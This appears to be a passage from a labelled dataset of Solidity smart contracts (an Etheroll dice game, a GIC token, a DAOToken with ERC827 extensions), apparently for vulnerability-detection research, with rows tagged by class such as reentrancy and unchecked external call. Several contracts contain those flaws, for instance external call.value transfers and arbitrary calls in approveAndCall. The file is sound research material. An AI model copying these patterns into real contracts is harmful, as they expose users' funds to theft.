rune; } uint len; uint b; // Load the first byte of the rune into the LSBs of b assembly { b := and(mload(sub(mload(add(self, 32)), 31)), 0xFF) } if (b < 0x80) { len = 1; } else if(b < 0xE0) { len = 2; } else if(b < 0xF0) { len = 3; } else { len = 4; } // Check for truncated codepoints if (len > self._len) { rune._len = self._len; self._ptr += self._len; self._len = 0; return rune; } self._ptr += len; self._len -= len; rune._len = len; return rune; } /* * @dev Returns the first rune in the slice, advancing the slice to point * to the next rune. * @param self The slice to operate on. * @return A slice containing only the first rune from `self`. */ function nextRune(slice self) internal returns (slice ret) { nextRune(self, ret); } /* * @dev Returns the number of the first codepoint in the slice. * @param self The slice to operate on. * @return The number of the first codepoint in the slice. */ function ord(slice self) internal returns (uint ret) { if (self._len == 0) { return 0; } uint word; uint len; uint div = 2 ** 248; // Load the rune into the MSBs of b assembly { word:= mload(mload(add(self, 32))) } var b = word / div; if (b < 0x80) { ret = b; len = 1; } else if(b < 0xE0) { ret = b & 0x1F; len = 2; } else if(b < 0xF0) { ret = b & 0x0F; len = 3; } else { ret = b & 0x07; len = 4; } // Check for truncated codepoints if (len > self._len) { return 0; } for (uint i = 1; i < len; i++) { div = div / 256; b = (word / div) & 0xFF; if (b & 0xC0 != 0x80) { // Invalid UTF-8 sequence return 0; } ret = (ret * 64) | (b & 0x3F); } return ret; } /* * @dev Returns the keccak-256 hash of the slice. * @param self The slice to hash. * @return The hash of the slice. */ function keccak(slice self) internal returns (bytes32 ret) { assembly { ret := sha3(mload(add(self, 32)), mload(self)) } } /* * @dev Returns true if `self` starts with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function startsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } if (self._ptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } return equal; } /* * @dev If `self` starts with `needle`, `needle` is removed from the * beginning of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function beyond(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } bool equal = true; if (self._ptr != needle._ptr) { assembly { let len := mload(needle) let selfptr := mload(add(self, 0x20)) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; self._ptr += needle._len; } return self; } /* * @dev Returns true if the slice ends with `needle`. * @param self The slice to operate on. * @param needle The slice to search for. * @return True if the slice starts with the provided text, false otherwise. */ function endsWith(slice self, slice needle) internal returns (bool) { if (self._len < needle._len) { return false; } var selfptr = self._ptr + self._len - needle._len; if (selfptr == needle._ptr) { return true; } bool equal; assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } return equal; } /* * @dev If `self` ends with `needle`, `needle` is removed from the * end of `self`. Otherwise, `self` is unmodified. * @param self The slice to operate on. * @param needle The slice to search for. * @return `self` */ function until(slice self, slice needle) internal returns (slice) { if (self._len < needle._len) { return self; } var selfptr = self._ptr + self._len - needle._len; bool equal = true; if (selfptr != needle._ptr) { assembly { let len := mload(needle) let needleptr := mload(add(needle, 0x20)) equal := eq(sha3(selfptr, len), sha3(needleptr, len)) } } if (equal) { self._len -= needle._len; } return self; } // Returns the memory address of the first byte of the first occurrence of // `needle` in `self`, or the first byte after `self` if not found. function findPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; uint idx; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 68 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) let end := add(selfptr, sub(selflen, needlelen)) ptr := selfptr loop: jumpi(exit, eq(and(mload(ptr), mask), needledata)) ptr := add(ptr, 1) jumpi(loop, lt(sub(ptr, 1), end)) ptr := add(selfptr, selflen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr; for (idx = 0; idx <= selflen - needlelen; idx++) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr; ptr += 1; } } } return selfptr + selflen; } // Returns the memory address of the first byte after the last occurrence of // `needle` in `self`, or the address of `self` if not found. function rfindPtr(uint selflen, uint selfptr, uint needlelen, uint needleptr) private returns (uint) { uint ptr; if (needlelen <= selflen) { if (needlelen <= 32) { // Optimized assembly for 69 gas per byte on short strings assembly { let mask := not(sub(exp(2, mul(8, sub(32, needlelen))), 1)) let needledata := and(mload(needleptr), mask) ptr := add(selfptr, sub(selflen, needlelen)) loop: jumpi(ret, eq(and(mload(ptr), mask), needledata)) ptr := sub(ptr, 1) jumpi(loop, gt(add(ptr, 1), selfptr)) ptr := selfptr jump(exit) ret: ptr := add(ptr, needlelen) exit: } return ptr; } else { // For long needles, use hashing bytes32 hash; assembly { hash := sha3(needleptr, needlelen) } ptr = selfptr + (selflen - needlelen); while (ptr >= selfptr) { bytes32 testHash; assembly { testHash := sha3(ptr, needlelen) } if (hash == testHash) return ptr + needlelen; ptr -= 1; } } } return selfptr; } /* * @dev Modifies `self` to contain everything from the first occurrence of * `needle` to the end of the slice. `self` is set to the empty slice * if `needle` is not found. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function find(slice self, slice needle) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); self._len -= ptr - self._ptr; self._ptr = ptr; return self; } /* * @dev Modifies `self` to contain the part of the string from the start of * `self` to the end of the first occurrence of `needle`. If `needle` * is not found, `self` is set to the empty slice. * @param self The slice to search and modify. * @param needle The text to search for. * @return `self`. */ function rfind(slice self, slice needle) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); self._len = ptr - self._ptr; return self; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and `token` to everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function split(slice self, slice needle, slice token) internal returns (slice) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = self._ptr; token._len = ptr - self._ptr; if (ptr == self._ptr + self._len) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; self._ptr = ptr + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything after the first * occurrence of `needle`, and returning everything before it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` up to the first occurrence of `delim`. */ function split(slice self, slice needle) internal returns (slice token) { split(self, needle, token); } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and `token` to everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and `token` is set to the entirety of `self`. * @param self The slice to split. * @param needle The text to search for in `self`. * @param token An output parameter to which the first token is written. * @return `token`. */ function rsplit(slice self, slice needle, slice token) internal returns (slice) { uint ptr = rfindPtr(self._len, self._ptr, needle._len, needle._ptr); token._ptr = ptr; token._len = self._len - (ptr - self._ptr); if (ptr == self._ptr) { // Not found self._len = 0; } else { self._len -= token._len + needle._len; } return token; } /* * @dev Splits the slice, setting `self` to everything before the last * occurrence of `needle`, and returning everything after it. If * `needle` does not occur in `self`, `self` is set to the empty slice, * and the entirety of `self` is returned. * @param self The slice to split. * @param needle The text to search for in `self`. * @return The part of `self` after the last occurrence of `delim`. */ function rsplit(slice self, slice needle) internal returns (slice token) { rsplit(self, needle, token); } /* * @dev Counts the number of nonoverlapping occurrences of `needle` in `self`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return The number of occurrences of `needle` found in `self`. */ function count(slice self, slice needle) internal returns (uint count) { uint ptr = findPtr(self._len, self._ptr, needle._len, needle._ptr) + needle._len; while (ptr <= self._ptr + self._len) { count++; ptr = findPtr(self._len - (ptr - self._ptr), ptr, needle._len, needle._ptr) + needle._len; } } /* * @dev Returns True if `self` contains `needle`. * @param self The slice to search. * @param needle The text to search for in `self`. * @return True if `needle` is found in `self`, false otherwise. */ function contains(slice self, slice needle) internal returns (bool) { return rfindPtr(self._len, self._ptr, needle._len, needle._ptr) != self._ptr; } /* * @dev Returns a newly allocated string containing the concatenation of * `self` and `other`. * @param self The first slice to concatenate. * @param other The second slice to concatenate. * @return The concatenation of the two strings. */ function concat(slice self, slice other) internal returns (string) { var ret = new string(self._len + other._len); uint retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, self._ptr, self._len); memcpy(retptr + self._len, other._ptr, other._len); return ret; } /* * @dev Joins an array of slices, using `self` as a delimiter, returning a * newly allocated string. * @param self The delimiter to use. * @param parts A list of slices to join. * @return A newly allocated string containing all the slices in `parts`, * joined with `self`. */ function join(slice self, slice[] parts) internal returns (string) { if (parts.length == 0) return """"; uint len = self._len * (parts.length - 1); for(uint i = 0; i < parts.length; i++) len += parts[i]._len; var ret = new string(len); uint retptr; assembly { retptr := add(ret, 32) } for(i = 0; i < parts.length; i++) { memcpy(retptr, parts[i]._ptr, parts[i]._len); retptr += parts[i]._len; if (i < parts.length - 1) { memcpy(retptr, self._ptr, self._len); retptr += self._len; } } return ret; } } contract DSSafeAddSub { function safeToAdd(uint a, uint b) internal returns (bool) { return (a + b >= a); } function safeAdd(uint a, uint b) internal returns (uint) { if (!safeToAdd(a, b)) throw; return a + b; } function safeToSubtract(uint a, uint b) internal returns (bool) { return (b <= a); } function safeSub(uint a, uint b) internal returns (uint) { if (!safeToSubtract(a, b)) throw; return a - b; } } contract Etheroll is usingOraclize, DSSafeAddSub { using strings for *; /* * checks player profit, bet size and player number is within range */ modifier betIsValid(uint _betSize, uint _playerNumber) { if(((((_betSize * (100-(safeSub(_playerNumber,1)))) / (safeSub(_playerNumber,1))+_betSize))*houseEdge/houseEdgeDivisor)-_betSize > maxProfit || _betSize < minBet || _playerNumber < minNumber || _playerNumber > maxNumber) throw; _; } /* * checks game is currently active */ modifier gameIsActive { if(gamePaused == true) throw; _; } /* * checks payouts are currently active */ modifier payoutsAreActive { if(payoutsPaused == true) throw; _; } /* * checks only Oraclize address is calling */ modifier onlyOraclize { if (msg.sender != oraclize_cbAddress()) throw; _; } /* * checks only owner address is calling */ modifier onlyOwner { if (msg.sender != owner) throw; _; } /* * checks only treasury address is calling */ modifier onlyTreasury { if (msg.sender != treasury) throw; _; } /* * game vars */ uint constant public maxProfitDivisor = 1000000; uint constant public houseEdgeDivisor = 1000; uint constant public maxNumber = 99; uint constant public minNumber = 2; bool public gamePaused; uint32 public gasForOraclize; address public owner; bool public payoutsPaused; address public treasury; uint public contractBalance; uint public houseEdge; uint public maxProfit; uint public maxProfitAsPercentOfHouse; uint public minBet; int public totalBets; uint public maxPendingPayouts; uint public costToCallOraclizeInWei; uint public totalWeiWon; /* * player vars */ mapping (bytes32 => address) playerAddress; mapping (bytes32 => address) playerTempAddress; mapping (bytes32 => bytes32) playerBetId; mapping (bytes32 => uint) playerBetValue; mapping (bytes32 => uint) playerTempBetValue; mapping (bytes32 => uint) playerRandomResult; mapping (bytes32 => uint) playerDieResult; mapping (bytes32 => uint) playerNumber; mapping (address => uint) playerPendingWithdrawals; mapping (bytes32 => uint) playerProfit; mapping (bytes32 => uint) playerTempReward; /* * events */ /* log bets + output to web3 for precise 'payout on win' field in UI */ event LogBet(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RewardValue, uint ProfitValue, uint BetValue, uint PlayerNumber); /* output to web3 UI on bet result*/ /* Status: 0=lose, 1=win, 2=win + failed send, 3=refund, 4=refund + failed send*/ event LogResult(uint indexed ResultSerialNumber, bytes32 indexed BetID, address indexed PlayerAddress, uint PlayerNumber, uint DiceResult, uint Value, int Status, bytes Proof); /* log manual refunds */ event LogRefund(bytes32 indexed BetID, address indexed PlayerAddress, uint indexed RefundValue); /* log owner transfers */ event LogOwnerTransfer(address indexed SentToAddress, uint indexed AmountTransferred); /* * init */ function Etheroll() { owner = msg.sender; treasury = msg.sender; oraclize_setNetwork(networkID_auto); /* use TLSNotary for oraclize call */ oraclize_setProof(proofType_TLSNotary | proofStorage_IPFS); /* init 990 = 99% (1% houseEdge)*/ ownerSetHouseEdge(990); /* init 10,000 = 1% */ ownerSetMaxProfitAsPercentOfHouse(10000); /* init min bet (0.1 ether) */ ownerSetMinBet(100000000000000000); /* init gas for oraclize */ gasForOraclize = 250000; } /* * public function * player submit bet * only if game is active & bet is valid can query oraclize and set player vars */ function playerRollDice(uint rollUnder) public payable gameIsActive betIsValid(msg.value, rollUnder) { /* * assign partially encrypted query to oraclize * only the apiKey is encrypted * integer query is in plain text */ bytes32 rngId = oraclize_query(""nested"", ""[URL] ['json(https://api.random.org/json-rpc/1/invoke).result.random[\""serialNumber\"",\""data\""]', '\\n{\""jsonrpc\"":\""2.0\"",\""method\"":\""generateSignedIntegers\"",\""params\"":{\""apiKey\"":${[decrypt] BGHpcYSg0tVfascAMPgFM2xRSSszBNK1D7yu8pMlKhvpZGd065mtNGF2s3i/gWuXW5CH0FJVyWeh7K7QMQVaZwYD7jgU0Y9R4Nk7+em/2JZqDzFGngl3Dj5oDxbbH+1OXcti7NQlwli6Zf6vdR6oux0LYre+Y8U=},\""n\"":1,\""min\"":1,\""max\"":100,\""replacement\"":true,\""base\"":10${[identity] \""}\""},\""id\"":1${[identity] \""}\""}']"", gasForOraclize); /* safely update contract balance to account for cost to call oraclize*/ contractBalance = safeSub(contractBalance, costToCallOraclizeInWei); /* total number of bets */ totalBets += 1; /* map bet id to this oraclize query */ playerBetId[rngId] = rngId; /* map player lucky number to this oraclize query */ playerNumber[rngId] = rollUnder; /* map value of wager to this oraclize query */ playerBetValue[rngId] = msg.value; /* map player address to this oraclize query */ playerAddress[rngId] = msg.sender; /* safely map player profit to this oraclize query */ playerProfit[rngId] = ((((msg.value * (100-(safeSub(rollUnder,1)))) / (safeSub(rollUnder,1))+msg.value))*houseEdge/houseEdgeDivisor)-msg.value; /* safely increase maxPendingPayouts liability - calc all pending payouts under assumption they win */ maxPendingPayouts = safeAdd(maxPendingPayouts, playerProfit[rngId]); /* check contract can payout on win */ if(maxPendingPayouts >= contractBalance) throw; /* provides accurate numbers for web3 and allows for manual refunds in case of no oraclize __callback */ LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); } /* * semi-public function - only oraclize can call */ /*TLSNotary for oraclize call */ function __callback(bytes32 myid, string result, bytes proof) public onlyOraclize payoutsAreActive { /* player address mapped to query id does not exist */ if (playerAddress[myid]==0x0) throw; /* keep oraclize honest by retrieving the serialNumber from random.org result */ var sl_result = result.toSlice(); sl_result.beyond(""["".toSlice()).until(""]"".toSlice()); uint serialNumberOfResult = parseInt(sl_result.split(', '.toSlice()).toString()); /* map result to player */ playerRandomResult[myid] = parseInt(sl_result.beyond(""["".toSlice()).until(""]"".toSlice()).toString()); /* produce integer bounded to 1-100 inclusive * via sha3 result from random.org and proof (IPFS address of TLSNotary proof) */ playerDieResult[myid] = uint(sha3(playerRandomResult[myid], proof)) % 100 + 1; /* get the playerAddress for this query id */ playerTempAddress[myid] = playerAddress[myid]; /* delete playerAddress for this query id */ delete playerAddress[myid]; /* map the playerProfit for this query id */ playerTempReward[myid] = playerProfit[myid]; /* set playerProfit for this query id to 0 */ playerProfit[myid] = 0; /* safely reduce maxPendingPayouts liability */ maxPendingPayouts = safeSub(maxPendingPayouts, playerTempReward[myid]); /* map the playerBetValue for this query id */ playerTempBetValue[myid] = playerBetValue[myid]; /* set playerBetValue for this query id to 0 */ playerBetValue[myid] = 0; /* * refund * if result from oraclize is 0 refund only the original bet value * if refund fails save refund value to playerPendingWithdrawals */ if(playerDieResult[myid]==0){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 3, proof); /* * send refund - external call to an untrusted contract * if send fails map refund value to playerPendingWithdrawals[address] * for withdrawal later via playerWithdrawPendingTransactions */ if(!playerTempAddress[myid].send(playerTempBetValue[myid])){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 4, proof); /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], playerTempBetValue[myid]); } return; } /* * pay winner * update contract balance to calculate new max bet * send reward * if send of reward fails save value to playerPendingWithdrawals */ if(playerDieResult[myid] < playerNumber[myid]){ /* safely reduce contract balance by player profit */ contractBalance = safeSub(contractBalance, playerTempReward[myid]); /* update total wei won */ totalWeiWon = safeAdd(totalWeiWon, playerTempReward[myid]); /* safely calculate payout via profit plus original wager */ playerTempReward[myid] = safeAdd(playerTempReward[myid], playerTempBetValue[myid]); LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], 1, proof); /* update maximum profit */ setMaxProfit(); /* * send win - external call to an untrusted contract * if send fails map reward value to playerPendingWithdrawals[address] * for withdrawal later via playerWithdrawPendingTransactions */ if(!playerTempAddress[myid].send(playerTempReward[myid])){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempReward[myid], 2, proof); /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], playerTempReward[myid]); } return; } /* * no win * send 1 wei to a losing bet * update contract balance to calculate new max bet */ if(playerDieResult[myid] >= playerNumber[myid]){ LogResult(serialNumberOfResult, playerBetId[myid], playerTempAddress[myid], playerNumber[myid], playerDieResult[myid], playerTempBetValue[myid], 0, proof); /* * safe adjust contractBalance * setMaxProfit * send 1 wei to losing bet */ contractBalance = safeAdd(contractBalance, (playerTempBetValue[myid]-1)); /* update maximum profit */ setMaxProfit(); /* * send 1 wei - external call to an untrusted contract */ if(!playerTempAddress[myid].send(1)){ /* if send failed let player withdraw via playerWithdrawPendingTransactions */ playerPendingWithdrawals[playerTempAddress[myid]] = safeAdd(playerPendingWithdrawals[playerTempAddress[myid]], 1); } return; } } /* * public function * in case of a failed refund or win send */ function playerWithdrawPendingTransactions() public payoutsAreActive returns (bool) { uint withdrawAmount = playerPendingWithdrawals[msg.sender]; playerPendingWithdrawals[msg.sender] = 0; /* external call to untrusted contract */ if (msg.sender.call.value(withdrawAmount)()) { return true; } else { /* if send failed revert playerPendingWithdrawals[msg.sender] = 0; */ /* player can try to withdraw again later */ playerPendingWithdrawals[msg.sender] = withdrawAmount; return false; } } /* check for pending withdrawals */ function playerGetPendingTxByAddress(address addressToCheck) public constant returns (uint) { return playerPendingWithdrawals[addressToCheck]; } /* * internal function * sets max profit */ function setMaxProfit() internal { maxProfit = (contractBalance*maxProfitAsPercentOfHouse)/maxProfitDivisor; } /* * owner/treasury address only functions */ function () payable onlyTreasury { /* safely update contract balance */ contractBalance = safeAdd(contractBalance, msg.value); /* update the maximum profit */ setMaxProfit(); } /* set gas for oraclize query */ function ownerSetOraclizeSafeGas(uint32 newSafeGasToOraclize) public onlyOwner { gasForOraclize = newSafeGasToOraclize; } /* set house cost to call oraclize query */ function ownerUpdateCostToCallOraclize(uint newCostToCallOraclizeInWei) public onlyOwner { costToCallOraclizeInWei = newCostToCallOraclizeInWei; } /* only owner address can set houseEdge */ function ownerSetHouseEdge(uint newHouseEdge) public onlyOwner { houseEdge = newHouseEdge; } /* only owner address can set maxProfitAsPercentOfHouse */ function ownerSetMaxProfitAsPercentOfHouse(uint newMaxProfitAsPercent) public onlyOwner { /* restrict each bet to a maximum profit of 1% contractBalance */ if(newMaxProfitAsPercent > 10000) throw; maxProfitAsPercentOfHouse = newMaxProfitAsPercent; setMaxProfit(); } /* only owner address can set minBet */ function ownerSetMinBet(uint newMinimumBet) public onlyOwner { minBet = newMinimumBet; } /* only owner address can transfer ether */ function ownerTransferEther(address sendTo, uint amount) public onlyOwner { /* safely update contract balance when sending out funds*/ contractBalance = safeSub(contractBalance, amount); /* update max profit */ setMaxProfit(); if(!sendTo.send(amount)) throw; LogOwnerTransfer(sendTo, amount); } /* only owner address can do manual refund * used only if bet placed + oraclize failed to __callback * filter LogBet by address and/or playerBetId: * LogBet(playerBetId[rngId], playerAddress[rngId], safeAdd(playerBetValue[rngId], playerProfit[rngId]), playerProfit[rngId], playerBetValue[rngId], playerNumber[rngId]); * check the following logs do not exist for playerBetId and/or playerAddress[rngId] before refunding: * LogResult or LogRefund * if LogResult exists player should use the withdraw pattern playerWithdrawPendingTransactions */ function ownerRefundPlayer(bytes32 originalPlayerBetId, address sendTo, uint originalPlayerProfit, uint originalPlayerBetValue) public onlyOwner { /* safely reduce pendingPayouts by playerProfit[rngId] */ maxPendingPayouts = safeSub(maxPendingPayouts, originalPlayerProfit); /* send refund */ if(!sendTo.send(originalPlayerBetValue)) throw; /* log refunds */ LogRefund(originalPlayerBetId, sendTo, originalPlayerBetValue); } /* only owner address can set emergency pause #1 */ function ownerPauseGame(bool newStatus) public onlyOwner { gamePaused = newStatus; } /* only owner address can set emergency pause #2 */ function ownerPausePayouts(bool newPayoutStatus) public onlyOwner { payoutsPaused = newPayoutStatus; } /* only owner address can set treasury address */ function ownerSetTreasury(address newTreasury) public onlyOwner { treasury = newTreasury; } /* only owner address can set owner address */ function ownerChangeOwner(address newOwner) public onlyOwner { owner = newOwner; } /* only owner address can suicide - emergency */ function ownerkill() public onlyOwner { suicide(owner); } }",./Dataset/reentrancy (RE)/,5,5 185.sol,"pragma solidity ^0.4.4; contract Token { function totalSupply() constant returns (uint256 supply) {} function balanceOf(address _owner) constant returns (uint256 balance) {} function transfer(address _to, uint256 _value) returns (bool success) {} function transferFrom(address _from, address _to, uint256 _value) returns (bool success) {} function approve(address _spender, uint256 _value) returns (bool success) {} function allowance(address _owner, address _spender) constant returns (uint256 remaining) {} event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) returns (bool success) { if (balances[msg.sender] >= _value && _value > 0) { balances[msg.sender] -= _value; balances[_to] += _value; Transfer(msg.sender, _to, _value); return true; } else { return false; } } function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if (balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0) { balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } else { return false; } } function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; uint256 public totalSupply; } contract GIC is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = 'H1.0'; address public fundsWallet; function GIC () { balances[msg.sender] = 1000000000000000000000000000; totalSupply = 1000000000000000000000000000; name = ""Giccoin""; decimals = 18; symbol = ""GIC""; fundsWallet = msg.sender; } function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); if(!_spender.call(bytes4(bytes32(sha3(""receiveApproval(address,uint256,address,bytes)""))), msg.sender, _value, this, _extraData)) { throw; } return true; } }",./Dataset/unchecked external call (UC),7,7 0x02503c5e9edb416a1d42cd9c6e4d30d283726e8b_DAOToken.sol,"pragma solidity ^0.4.21; library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract ERC827 is ERC20 { function approveAndCall( address _spender, uint256 _value, bytes _data) public payable returns (bool); function transferAndCall( address _to, uint256 _value, bytes _data) public payable returns (bool); function transferFromAndCall( address _from, address _to, uint256 _value, bytes _data ) public payable returns (bool); } contract ERC827Token is ERC827, StandardToken { /** * @dev Addition to ERC20 token methods. It allows to * @dev approve the transfer of value and execute a call with the sent data. * * @dev Beware that changing an allowance with this method brings the risk that * @dev someone may use both the old and the new allowance by unfortunate * @dev transaction ordering. One possible solution to mitigate this race condition * @dev is to first reduce the spender's allowance to 0 and set the desired value * @dev afterwards: * @dev https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * @param _spender The address that will spend the funds. * @param _value The amount of tokens to be spent. * @param _data ABI-encoded contract call to call `_to` address. * * @return true if the call function was executed successfully */ function approveAndCall(address _spender, uint256 _value, bytes _data) public payable returns (bool) { require(_spender != address(this)); super.approve(_spender, _value); // solium-disable-next-line security/no-call-value require(_spender.call.value(msg.value)(_data)); return true; } /** * @dev Addition to ERC20 token 